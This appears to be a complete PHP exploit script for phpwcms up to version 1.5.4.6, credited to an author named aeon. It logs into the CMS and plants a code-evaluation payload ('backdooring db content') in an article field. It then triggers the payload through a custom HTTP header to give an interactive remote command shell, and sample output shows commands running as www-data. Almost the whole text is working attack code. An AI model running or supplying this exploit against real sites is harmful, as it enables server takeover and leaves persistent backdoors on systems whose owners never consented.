id uid=33(www-data) gid=33(www-data) groups=33(www-data) phpwcms-shell> uname -a Linux bt 3.2.6 #1 SMP Fri Feb 17 10:40:05 EST 2012 i686 GNU/Linux ################################################################################################ */ error_reporting(0); set_time_limit(0); ini_set('default_socket_timeout', 5); function http_send($host, $packet) { if (!($sock = fsockopen($host, 80))) die("\n(-) No response from {$host}:80\r\n"); fputs($sock, $packet); return stream_get_contents($sock); } print "\n+-----------------------------------------------------------+"; print "\n| phpwcms <= v1.5.4.6 Remote Code Execution Exploit by aeon |"; print "\n+-----------------------------------------------------------+\n"; if ($argc < 5) { print "\nUsage......: php $argv[0] \n"; print "\nExample....: php $argv[0] localhost / admin pass"; print "\nExample....: php $argv[0] localhost /phpwcms-1.5.4.6/ jack black\n"; die(); } list($host, $path, $user, $pass) = array($argv[1], $argv[2], $argv[3], $argv[4]); // init session print "(+) initiating target interaction\r\n"; $packet = "GET {$path}login.php HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Connection: close\r\n\r\n"; $_prefix = preg_match('/Set-Cookie: (.+); path=/', http_send($host, $packet), $m) ? $m[1] : ''; print ($_prefix ? "(+) grabbed a valid session" : "(-) exploit failed! couldnt obtain a session")."\r\n"; $pass = md5($pass); $postcreds = "json=1&md5pass={$pass}&form_aktion=login&form_loginname={$user}&form_lang=ru&submit_form=Login"; // login $packet = "POST {$path}login.php?{$phpcode} HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Cookie: {$_prefix}\r\n"; $packet .= "Content-Type: application/x-www-form-urlencoded\r\n"; $packet .= "Content-Length: ".strlen($postcreds)."\r\n"; $packet .= "Connection: close\r\n\r\n{$postcreds}"; if (!preg_match('/HTTP\/1.[01] 302 Found/', http_send($host, $packet))) die("\n(-) login failed!\n"); print "(+) logged into the target application\r\n"; $phpkode = '{${error_reporting(0)}}{${print(aeon)}}{${passthru(base64_decode($_SERVER[HTTP_PHPWCMS]))}}{${die}}'; $pat = "{DATE:{$phpkode} lang=en}"; $payload = "article_cid=0&article_title=wtf&set_begin=1&article_begin=2012-12-16+00%3A00%3A00&article_summary="; $payload .= urlencode($pat)."&article_username=jack&article_aktiv=1&article_public=1&article_update=1&updatesubmit=Create"; // backdooring db content $packet = "POST {$path}phpwcms.php?do=articles&p=2&s=1&aktion=1&id=0 HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Content-Length: ".strlen($payload)."\r\n"; $packet .= "Content-Type: application/x-www-form-urlencoded\r\n"; $packet .= "Cookie: {$_prefix}\r\n"; $packet .= "Connection: close\r\n\r\n{$payload}"; $_aid = preg_match('/&id=([0-9]{0,30})/', http_send($host, $packet), $m) ? $m[1] : ''; print ($_aid ? "(+) exploit working! dropping to shell.." : "(-) exploit failed! couldnt find article id")."\r\n"; // triggering preg_replace code evaluation $packet = "GET {$path}index.php?aid={$_aid} HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Phpwcms: %s\r\n"; $packet .= "Connection: close\r\n\r\n"; if (preg_match('/aeon', http_send($host, $packet))) die("\n(-) opps! hmm, backdoor didnt quite work..\r\n"); while(1) { print "\nphpwcms-shell> "; if (($cmd = trim(fgets(STDIN))) == "exit") break; $response = http_send($host, sprintf($packet, base64_encode($cmd))); preg_match('/aeon(.*)/s', $response, $m) ? print $m[1] : die("\n(-) exploit failed!\n"); } // @aeon_flux_ | aeon.s.flux(at)gmail(.)com | https://infosecabsurdity.wordpress.com/ ?>